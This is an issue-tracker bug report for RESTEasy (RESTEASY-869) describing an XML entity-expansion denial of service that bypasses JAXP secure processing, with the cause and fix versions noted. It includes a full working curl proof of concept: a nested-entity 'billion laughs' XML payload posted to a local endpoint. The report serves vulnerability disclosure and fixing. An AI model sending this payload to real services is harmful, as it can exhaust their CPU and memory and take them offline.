Uploaded image for project: 'RESTEasy'
  1. RESTEasy
  2. RESTEASY-869

RestEasy bypass JAXP secured processing feature when XXE is disabled

XMLWordPrintable

    • Icon: Bug Bug
    • Resolution: Done
    • Icon: Major Major
    • 3.0.4.Final
    • 2.3.6.Final, 3.0.2.Final
    • jaxrs
    • Low

      RestEasy is vulnerable to XML Entity Denial of Service XXE is disabled:
      <context-param>
      <param-name>resteasy.document.expand.entity.references</param-name>
      <param-value>false</param-value>
      </context-param>
      When XXE is disabled, running the following command will cause the XML parser to expand billions of entities, using up CPU & memory resources. JAXP has a 'secure processing' feature which limits entity expansion to 64,000 on Java 1.5+, but when XXE is disabled, this feature is bypassed:
      curl -i -H 'Content-Type: application/xml' -H 'Accept: application/xml' -X POST -d '<?xml version='1.0'?>
      <!DOCTYPE foodocument [
      <!ENTITY foo 'foo'>
      <!ENTITY foo1 '&foo;&foo;&foo;&foo;&foo;&foo;&foo;&foo;&foo;&foo;'>
      <!ENTITY foo2 '&foo1;&foo1;&foo1;&foo1;&foo1;&foo1;&foo1;&foo1;&foo1;&foo1;'>
      <!ENTITY foo3 '&foo2;&foo2;&foo2;&foo2;&foo2;&foo2;&foo2;&foo2;&foo2;&foo2;'>
      <!ENTITY foo4 '&foo3;&foo3;&foo3;&foo3;&foo3;&foo3;&foo3;&foo3;&foo3;&foo3;'>
      <!ENTITY foo5 '&foo4;&foo4;&foo4;&foo4;&foo4;&foo4;&foo4;&foo4;&foo4;&foo4;'>
      <!ENTITY foo6 '&foo5;&foo5;&foo5;&foo5;&foo5;&foo5;&foo5;&foo5;&foo5;&foo5;'>
      <!ENTITY foo7 '&foo6;&foo6;&foo6;&foo6;&foo6;&foo6;&foo6;&foo6;&foo6;&foo6;'>
      <!ENTITY foo8 '&foo7;&foo7;&foo7;&foo7;&foo7;&foo7;&foo7;&foo7;&foo7;&foo7;'>
      <!ENTITY foo9 '&foo8;&foo8;&foo8;&foo8;&foo8;&foo8;&foo8;&foo8;&foo8;&foo8;'>
      ]>
      <bar>&foo9;</bar>' http://localhost:8080/foo/bar

      The cause for this bug seem to be:
      ExternalEntityUnmarshaller.unmarshal() which uses the org.xml.sax.XMLReader rather than javax.xml.parsers.SAXParser

        1. TestXXESecureProcessing.java
          8 kB
          Ronald Sigal

              rsigal@redhat.com Ronald Sigal
              desperados1999 Bruno Fischel (Inactive)
              Votes:
              0 Vote for this issue
              Watchers:
              2 Start watching this issue

                Created:
                Updated:
                Resolved: